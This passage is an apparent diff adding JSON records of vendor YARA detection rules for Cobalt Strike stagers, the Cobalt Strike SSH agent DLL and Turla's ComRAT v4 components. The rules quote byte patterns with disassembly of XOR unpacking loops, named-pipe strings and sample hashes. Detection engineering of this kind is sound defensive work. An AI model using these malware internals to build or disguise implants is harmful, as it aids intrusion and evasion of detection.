[rbp+arg_10]\n            0F B6 00                                      // movzx   eax, byte ptr [rax]\n            44 31 C0                                      // xor     eax, r8d\n            88 01                                         // mov     [rcx], al\n        }\n\n    condition:\n        4 of ($s*) and 1 of ($unpack_stager_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_specific_stager_03658f107439"
+  ],
+  "rule_creation_date": "2022-06-24",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_specific_stager_fa439c2b9a2c_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571194Z",
+  "creation_date": "2026-03-23T11:46:25.571196Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571202Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_specific_stager_fa439c2b9a2c.yar",
+  "content": "rule cobalt_strike_specific_stager_fa439c2b9a2c {\n    meta:\n        title = \"Cobalt Strike Specific Stager (fa439c2b9a2c)\"\n        id = \"3ab442c2-0f4c-4fa1-8fb8-fa439c2b9a2c\"\n        description = \"Detects Cobalt Strike's Specific Stager x86.\\nCobalt Strike's specific stager x86 is a 32-bit executable used to establish persistence or communicate with a command-and-control server. This stager is typically generated by the Cobalt Strike artefact kit and is designed to execute specific commands or download additional payloads.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2022-06-24\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1140;attack.t1027.005;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s1 = \"_matherr(): %s in %s(%g, %g)  (retval=%g)\" fullword ascii\n        $s2 = \"Address %p has no image-section\" fullword ascii\n        $s3 = \"Mingw-w64 runtime failure:\" ascii\n        $s4 = \"StartW\" fullword ascii\n        $s5 = \"CreateThread\" fullword ascii\n        $s6 = \"rundll32.exe\" fullword ascii\n\n        // Detection for these samples :\n        // 1544f89640fd8ca64620007d2464265ec678ddccfe090151c2188fdfa6145048\n        // a246ea3ba29911fffcee758898316c57ff4d510f9b26bc9687f0b2dd207940db\n        // d1c09435c94c14740e88eb3ebdc086d7ffefda3ea3cdf8b808e09cce53ae61fb\n        // fae7f3543def745069c296f4ee81a1f9308227884e1edda8f6e65dba805aa6aa\n        // 37cbb8074087f0640a259eab3e591cde1dc360d2288a6d9fbb92a5fb3c1b68ba\n        // 91c96360ae21df783a98ded6dca0cf027a1b1fdd7fbdd201fa56894ffb9f47a4\n        // 68e7bd3cf41bbc3df1159a3481e911d2d4fd588dfdbedcfe5a96dee3777eb920\n        // 709a63b1e27448509a7963c2f779d97d8c325612d2715c15e474d6e3bfbad394\n\n        $unpack_stager_artefact_kit32_v1 = {\n            89 C?                                         // mov     esi, eax\n            83 EC ??                                      // sub     esp, 10h\n            31 C0                                         // xor     eax, eax\n\n                                        // loc_40159F:\n            39 D8                                         // cmp     eax, ebx\n            7D 17                                         // jge     short loc_4015BA\n            (\n            8B ?? 10 |                                    // mov     ecx, [ebp+arg_8]\n            89 C?                                         // mov     edx, eax\n            )\n            (\n            89 C? |                                       // mov     edx, eax\n            8B ?? 10                                      // mov     ecx, [ebp+arg_8]\n            )\n            83 E? 03                                      // and     edx, 3\n            8A ?? ??                                      // mov     dl, [ecx+edx]\n            (\n            8B ?? 08 |                                     // mov     ecx, [ebp+arg_0]\n            32 14 06                                      // xor     dl, [esi+eax]\n            )\n            (\n            32 ?? 0? |                                    // xor     dl, [ecx+eax]\n            88 14 06                                      // mov     [esi+eax], dl\n            )\n            88 ?? 0?                                      // mov     [esi+eax], dl\n            40                                            // inc     eax\n            EB E5                                         // jmp     short loc_40159F\n        }\n\n        // Detection for this sample :\n        // c123ab5c6094a066fddb5cd8eaabebf10fd58dda7345f321272ba95f1838a4f9\n\n        $unpack_stager_artefact_kit32_v2 = {\n            31 C9                                         // xor     ecx, ecx\n            83 EC 10                                      // sub     esp, 10h\n            89 C3                                         // mov     ebx, eax\n\n                                        // loc_6BAC160A:\n            39 F1                                         // cmp     ecx, esi\n            7D 17                                         // jge     short loc_6BAC1625\n            89 C8                                         // mov     eax, ecx\n            99                                            // cdq\n            F7 FF                                         // idiv    edi\n            8B 45 10                                      // mov     eax, [ebp+arg_8]\n            8A 04 10                                      // mov     al, [eax+edx]\n            8B 55 08                                      // mov     edx, [ebp+arg_0]\n            32 04 0A                                      // xor     al, [edx+ecx]\n            88 04 0B                                      // mov     [ebx+ecx], al\n            41                                            // inc     ecx\n            EB E5                                         // jmp     short loc_6BAC160A\n        }\n\n        // Detection for these samples :\n        // df9a4043350f178376528ace41119578cd18b2ec7501b48510b93a3efa8a4d76\n        // c5d752fa54d7093d09846687b25eee2853fd96f4f0870c78e9d4eda2ec22635a\n        // 61f32e3ae521795c8a2e048591eb39937f65e4702cde23456f86ca086f301495\n        // 9f0e200454059143f2e70543feb51673a12c75fc2686bd6ad20312a68d5e3dc1\n\n        $unpack_stager_artefact_kit32_v3 = {\n            31 ??                                      // xor     edx, edx\n            83 EC ??                                   // sub     esp, 0Ch\n\n                                        // loc_6BAC15EA:\n            3B ?5 0C                                      // cmp     edx, [ebp+arg_4]\n            7? 1?                                         // jge     short loc_6BAC1606\n\n            (\n            89 ?1 |                                       // mov     ecx, edx\n            8B 5? 10                                      // mov     edx, [ebp+arg_8]\n            )\n            (\n            8B 5? 10 |                                    // mov     ebx, [ebp+arg_8]\n            89 ?1                                         // mov     ecx, eax\n            )\n            83 E1 03                                      // and     ecx, 3\n\n            8A 0C 0?                                      // mov     cl, [ebx+ecx]\n            8B 5? 08                                      // mov     ebx, [ebp+arg_0]\n\n            (\n            32 0C 13 |                                    // xor     cl, [ebx+edx]\n            32 0C 02                                      // xor     cl, [edx+eax]\n            88 0C 02                                      // mov     [edx+eax], cl\n            )\n            88 0C ??                                      // mov     [eax+edx], cl\n            4?                                            // inc     edx\n            EB E?                                         // jmp     short loc_6BAC15EA\n        }\n\n        // Detection for these samples :\n        // 4b1763dd1f7652d5629de0715fa7d2f6a6aae8970a6d9e8414504e2c7e426663\n        // a70b4d9ddf306268e4ad84402f0cb07f362eb547514be779bcafab6fcc792ae1\n\n        $unpack_stager_artefact_kit32_v4 = {\n                                        // loc_6BAC1690:\n            89 C8                                         // mov     eax, ecx\n            BF 04 00 00 00                                // mov     edi, 4\n            99                                            // cdq\n            F7 FF                                         // idiv    edi\n            8B 7D 10                                      // mov     edi, [ebp+arg_8]\n            8A 04 17                                      // mov     al, [edi+edx]\n            30 03                                         // xor     [ebx], al\n            8A 03                                         // mov     al, [ebx]\n            43                                            // inc     ebx\n            88 04 0E                                      // mov     [esi+ecx], al\n            41                                            // inc     ecx\n            3B 4D E4                                      // cmp     ecx, [ebp+var_1C]\n            7C E2                                         // jl      short loc_6BAC1690\n        }\n\n        // Detection for these samples :\n        // a5ecd877717377252fe715a7208ba9a8d42c3b2ccde24672bc14a42baa05adc2\n        // f03d4bb2776ed8768a53e1c30d0da96e35030a6421e7e7b2e1a6c66f0398ef01\n        // d87d92da759fd766645ad9f9acbffb5a376ae7df3272dcd6c11b0780ddffb338\n        // 5ee5be86fa2ee00ade067fed2aea1776718d91f99fbd90c3032de93a4ae5d290\n        // c573276c0753ebfd01e4decd9ae4daf0b8ff2a52905a94fa7cece7054484234d\n        // 0fbd01ca9f316cc9804d9668eb8242acd71304465f69a0e0ee73dde483bad613\n        // 234e4df3d9304136224f2a6c37cb6b5f6d8336c4e105afce857832015e97f27a\n        // 44e70e41ef57b67de13150ba7fc226df3a4c644e489d2aafccc684a6833e5ee1\n\n        $unpack_stager_artefact_kit_32svc_v1 = {\n            55                                            // push    ebp\n            31 C0                                         // xor     eax, eax\n            89 E5                                         // mov     ebp, esp\n\n            (\n            56                                            // push    esi\n            53                                            // push    ebx\n            83 EC 10                                      // sub     esp, 10h\n            8B 5D 08                                      // mov     ebx, [ebp+arg_0]\n            8B 75 0C                                      // mov     esi, [ebp+arg_4]\n            8B 55 10                                      // mov     edx, [ebp+arg_8]\n            |\n            57                                            // push    edi\n            8B 4D 0C                                      // mov     ecx, [ebp+arg_4]\n            8B 7D 08                                      // mov     edi, [ebp+arg_0]\n            56                                            // push    esi\n            53                                            // push    ebx\n            8B 5D 10                                      // mov     ebx, [ebp+arg_8]\n            )\n\n                                        // loc_4017A4:\n            39 ??                                         // cmp     eax, esi\n            7D 0E                                         // jge     short loc_4017B6\n            89 C?                                         // mov     ecx, eax\n            83 E? 03                                      // and     ecx, 3\n            8A ?? ??                                      // mov     cl, [edx+ecx]\n            30 ?? 0?                                      // xor     [ebx+eax], cl\n            40                                            // inc     eax\n            EB EE                                         // jmp     short loc_4017A4\n        }\n\n        // Detection for this sample :\n        // a044426ee0f6bf029ece86d9292300c9f8e8577bb769dcbb2d0ccb7e22709826\n\n        $unpack_stager_artefact_kit_32svc_v2 = {\n            55                                            // push    ebp\n            31 C9                                         // xor     ecx, ecx\n            89 E5                                         // mov     ebp, esp\n            57                                            // push    edi\n            56                                            // push    esi\n            53                                            // push    ebx\n            83 EC 1C                                      // sub     esp, 1Ch\n            8B 45 10                                      // mov     eax, [ebp+arg_8]\n            8B 5D 08                                      // mov     ebx, [ebp+arg_0]\n            8B 75 0C                                      // mov     esi, [ebp+arg_4]\n            89 45 E4                                      // mov     [ebp+var_1C], eax\n\n                                        // loc_40176A:\n            39 F1                                         // cmp     ecx, esi\n            7D 16                                         // jge     short loc_401784\n            89 C8                                         // mov     eax, ecx\n            BF 04 00 00 00                                // mov     edi, 4\n            99                                            // cdq\n            F7 FF                                         // idiv    edi\n            8B 45 E4                                      // mov     eax, [ebp+var_1C]\n            8A 04 10                                      // mov     al, [eax+edx]\n            30 04 0B                                      // xor     [ebx+ecx], al\n            41                                            // inc     ecx\n            EB E6                                         // jmp     short loc_40176A\n        }\n\n        // Detection for these samples :\n        // 9cc20e58e1815795183cb214e5d2abe70f77c853118d19aad5fe9dd8acad6ba4\n        // c0fc006ffa92d0111197f8e3a1d2ba06a326eddc3d0b28111727df8e52805cf8\n        // fd248df8f77b876775515d6ad3ca5945af7ec408f79d61bda5fbadf24b424df6\n\n        $unpack_stager_artefact_kit_32svc_v3 = {\n                                        // loc_6BAC18E5:\n            89 C8                                         // mov     eax, ecx\n            BF 04 00 00 00                                // mov     edi, 4\n            99                                            // cdq\n            F7 FF                                         // idiv    edi\n            8B 7D E0                                      // mov     edi, [ebp+var_20]\n            8A 04 17                                      // mov     al, [edi+edx]\n            30 04 0B                                      // xor     [ebx+ecx], al\n            41                                            // inc     ecx\n            39 F1                                         // cmp     ecx, esi\n            7C E8                                         // jl      short loc_6BAC18E5\n        }\n\n    condition:\n        4 of ($s*) and 1 of ($unpack_stager_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_specific_stager_fa439c2b9a2c"
+  ],
+  "rule_creation_date": "2022-06-24",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_sshagent_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580997Z",
+  "creation_date": "2026-03-23T11:46:25.580999Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581034Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_sshagent.yar",
+  "content": "rule cobalt_strike_sshagent {\n    meta:\n        title = \"Cobalt Strike SSH Agent DLL\"\n        id = \"0f0291cd-8bc4-4b5d-88c9-1f97e7ed8ad5\"\n        description = \"Detects the Cobalt Strike SSH Agent DLL.\\nCobalt Strike is a commercial remote access tool used for simulating adversary tactics and conducting targeted attacks.\\nThis rule identifies the SSH Agent component, which is used for establishing communication between different stages of the attack.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2021-02-22\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1572;attack.t1071;attack.t1027.005;attack.t1106;attack.t1021.004\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // This payload use those APIs to create a communication channel.\n        $s1 = \"CreateNamedPipeA\" ascii\n        $s2 = \"ConnectNamedPipe\" ascii\n\n        // This payload use this hardcoded named pipe for communication.\n        $s3 = \"\\\\\\\\.\\\\pipe\\\\sshagent\" ascii\n\n        // This payload use this named pipe prefix for communication on Cobalt Strike 4.2+.\n        $s4 = \"\\\\\\\\.\\\\pipe\\\\postex_\" ascii\n\n        // Unique lgger strings found in this payload.\n        $s5 = \"FAIL credential material not available\" ascii\n        $s6 = \"FAIL Could not resolve %s\" ascii\n        $s7 = \"FAIL authentication method not supported. Allowed methods: %s\" ascii\n        $s8 = \"INFO Server accepted NONE authentication. (What?!?)\" ascii\n        $s9 = \"SUCCESS %s@%s:%d %s\" ascii\n\n    condition:\n        8 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_sshagent"
+  ],
+  "rule_creation_date": "2021-02-22",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1106",
+    "attack.t1021.004",
+    "attack.t1572",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-comratv4_injected_8f531c21e603_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575034Z",
+  "creation_date": "2026-03-23T11:46:25.575036Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575041Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf\nhttps://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a\nhttps://attack.mitre.org/software/S0126/"
+  ],
+  "name": "comratv4_injected_8f531c21e603.yar",
+  "content": "rule comratv4_injected_8f531c21e603 {\n    meta:\n        title = \"ComRAT v4 Injected Library (8f531c21e603)\"\n        id = \"72ea4b5d-f6c8-41a2-a56d-8f531c21e603\"\n        description = \"Detects the 64-bit version of the ComRAT v4 injected library, a malware used by Turla first identified in 2007.\\nComRAT is a second stage implant suspected of being a descendant of Agent.btz.\\nThe malware is known for its Virtual File System (VFS) feature in FAT16 format and its capability to use Gmail for command and control communication.\"\n        references = \"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf\\nhttps://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a\\nhttps://attack.mitre.org/software/S0126/\"\n        date = \"2024-07-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.001;attack.t1059.003;attack.t1106;attack.defense_evasion;attack.t1070.004;attack.t1218.011;attack.command_and_control;attack.t1573.001;attack.t1105;attack.s0126\"\n        classification = \"Windows.Backdoor.ComRAT\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405\n\n        // OutputODFADebugString\n        $odfa = {\n            C6 44 [2] 4F                // mov     [rsp+1038h+var_1018], 4Fh ; 'O'\n            C6 44 [2] 44                // mov     [rsp+1038h+var_1018+1], 44h ; 'D'\n            C6 44 [2] 46                // mov     [rsp+1038h+var_1018+2], 46h ; 'F'\n            C6 44 [2] 41                // mov     [rsp+1038h+var_1018+3], 41h ; 'A'\n            C6 44 [2] 3A                // mov     [rsp+1038h+var_1018+4], 3Ah ; ':'\n            C6 44 [2] 20                // mov     [rsp+1038h+var_1018+5], 20h ; ' '\n            C6 44 [2] 25                // mov     [rsp+1038h+var_1018+6], 25h ; '%'\n            C6 44 [2] 75                // mov     [rsp+1038h+var_1018+7], 75h ; 'u'\n            C6 44 [2] 20                // mov     [rsp+1038h+var_1018+8], 20h ; ' '\n            C6 44 [2] 25                // mov     [rsp+1038h+var_1018+9], 25h ; '%'\n            C6 44 [2] 64                // mov     [rsp+1038h+var_1018+0Ah], 64h ; 'd'\n            C6 44 [2] 20                // mov     [rsp+1038h+var_1018+0Bh], 20h ; ' '\n            C6 44 [2] 25                // mov     [rsp+1038h+var_1018+0Ch], 25h ; '%'\n            C6 44 [2] 75                // mov     [rsp+1038h+var_1018+0Dh], 75h ; 'u'\n            C6 44 [2] 0A                // mov     [rsp+1038h+var_1018+0Eh], 0Ah\n            C6 44 [2] 00                // mov     [rsp+1038h+var_1018+0Fh], 0\n        }\n\n        $xor55 = {\n            41 80 31 55                   // xor     byte ptr [r9], 55h\n            4D 03 CF                      // add     r9, r15\n            4D 2B E7                      // sub     r12, r15\n            75 F4                         // jnz     short loc_18000BA20\n        }\n\n        // GetComputerNameHash\n        // %08x\n        $getpipename1 = {\n            B8 25 00 00 00                // mov     eax, 25h ; '%'\n            48 8B F9                      // mov     rdi, rcx\n            49 8D 53 10                   // lea     rdx, [r11+10h]\n            66 89 44 24 20                // mov     [rsp+248h+var_228], ax\n            B8 30 00 00 00                // mov     eax, 30h ; '0'\n            48 8D 4C 24 30                // lea     rcx, [rsp+248h+var_218]\n            66 89 44 24 22                // mov     [rsp+248h+var_226], ax\n            B8 38 00 00 00                // mov     eax, 38h ; '8'\n            33 F6                         // xor     esi, esi\n            66 89 44 24 24                // mov     [rsp+248h+var_224], ax\n            B8 78 00 00 00                // mov     eax, 78h ; 'x'\n            49 8B D8                      // mov     rbx, r8\n            66 89 74 24 28                // mov     [rsp+248h+var_220], si\n            41 C7 43 10 04 01 00 00       // mov     dword ptr [r11+10h], 104h\n        }\n\n        // Generate pipe name based on GetComputerName\n        $getpipename2 = {\n            41 0F B6 ??                   // movzx   ecx, byte ptr [r8]\n            41 8B C1                      // mov     eax, r9d\n            44 03 DA                      // add     r11d, edx\n            83 C9 04                      // or      ecx, 4\n            C1 E8 03                      // shr     eax, 3\n            44 8B C9                      // mov     r9d, ecx\n            44 0F AF C8                   // imul    r9d, eax\n            49 FF ??                      // inc     r8\n        }\n\n    condition:\n        $odfa or\n        #xor55 > 10 or\n        1 of ($getpipename*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "comratv4_injected_8f531c21e603"
+  ],
+  "rule_creation_date": "2024-07-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.ComRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1070.004",
+    "attack.t1218.011",
+    "attack.t1106",
+    "attack.t1059.001",
+    "attack.t1105",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-comratv4_injected_e7aa80138037_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584004Z",
+  "creation_date": "2026-03-23T11:46:25.584006Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584011Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf\nhttps://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a\nhttps://attack.mitre.org/software/S0126/"
+  ],
+  "name": "comratv4_injected_e7aa80138037.yar",
+  "content": "rule comratv4_injected_e7aa80138037 {\n    meta:\n        title = \"ComRAT v4 Injected Library (e7aa80138037)\"\n        id = \"abe81fba-eff0-4819-b4ad-e7aa80138037\"\n        description = \"Detects the 32-bit version of the ComRAT v4 injected library, a malware used by Turla first identified in 2007.\\nComRAT is a second stage implant suspected of being a descendant of Agent.btz.\\nThe malware is known for its Virtual File System (VFS) feature in FAT16 format and its capability to use Gmail for command and control communication.\"\n        references = \"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf\\nhttps://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a\\nhttps://attack.mitre.org/software/S0126/\"\n        date = \"2024-07-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.001;attack.t1059.003;attack.t1106;attack.defense_evasion;attack.t1070.004;attack.t1218.011;attack.command_and_control;attack.t1573.001;attack.t1105;attack.s0126\"\n        classification = \"Windows.Backdoor.ComRAT\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d\n\n        $xor55 = {\n            30 ?? 05 [1]                // xor     [ebp+eax+var_48], dl\n            40                          // inc     eax\n            83 F8 ??                    // cmp     eax, 9\n            72 F6                       // jb      short loc_7B017\n        }\n\n        // \\\\.\\pipe\\%08x\n        $getpipename1 = {\n            6A 5C                       // push    5Ch ; '\\'\n            58                          // pop     eax\n            6A 2E                       // push    2Eh ; '.'\n            8B C8                       // mov     ecx, eax\n            66 89 4D ??                 // mov     [ebp+var_20], cx\n            66 89 4D ??                 // mov     [ebp+var_1E], cx\n            59                          // pop     ecx\n            6A 70                       // push    70h ; 'p'\n            66 89 4D ??                 // mov     [ebp+var_1C], cx\n            8B C8                       // mov     ecx, eax\n            66 89 4D ??                 // mov     [ebp+var_1A], cx\n            59                          // pop     ecx\n            6A 69                       // push    69h ; 'i'\n            66 89 4D ??                 // mov     [ebp+var_18], cx\n            59                          // pop     ecx\n            6A 70                       // push    70h ; 'p'\n            66 89 4D ??                 // mov     [ebp+var_16], cx\n            59                          // pop     ecx\n            6A 65                       // push    65h ; 'e'\n            66 89 45 ??                 // mov     [ebp+var_10], ax\n            66 89 4D ??                 // mov     [ebp+var_14], cx\n            59                          // pop     ecx\n            6A 25                       // push    25h ; '%'\n            58                          // pop     eax\n            6A 30                       // push    30h ; '0'\n            66 89 45 ??                 // mov     [ebp+var_E], ax\n            58                          // pop     eax\n            6A 38                       // push    38h ; '8'\n            66 89 45 ??                 // mov     [ebp+var_C], ax\n            58                          // pop     eax\n            6A 78                       // push    78h ; 'x'\n        }\n\n        // Generate pipe name based on GetComputerName\n        $getpipename2 = {\n            0F B6 11                    // movzx   edx, byte ptr [ecx]\n            FF 4C 24 04                 // dec     [esp+arg_0]\n            83 CA 04                    // or      edx, 4\n            C1 E8 03                    // shr     eax, 3\n            0F AF C2                    // imul    eax, edx\n            41                          // inc     ecx\n        }\n\n    condition:\n        #xor55 > 10 or\n        1 of ($getpipename*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "comratv4_injected_e7aa80138037"
+  ],
+  "rule_creation_date": "2024-07-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.ComRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1070.004",
+    "attack.t1218.011",
+    "attack.t1106",
+    "attack.t1059.001",
+    "attack.t1105",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-comratv4_orchestrator_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
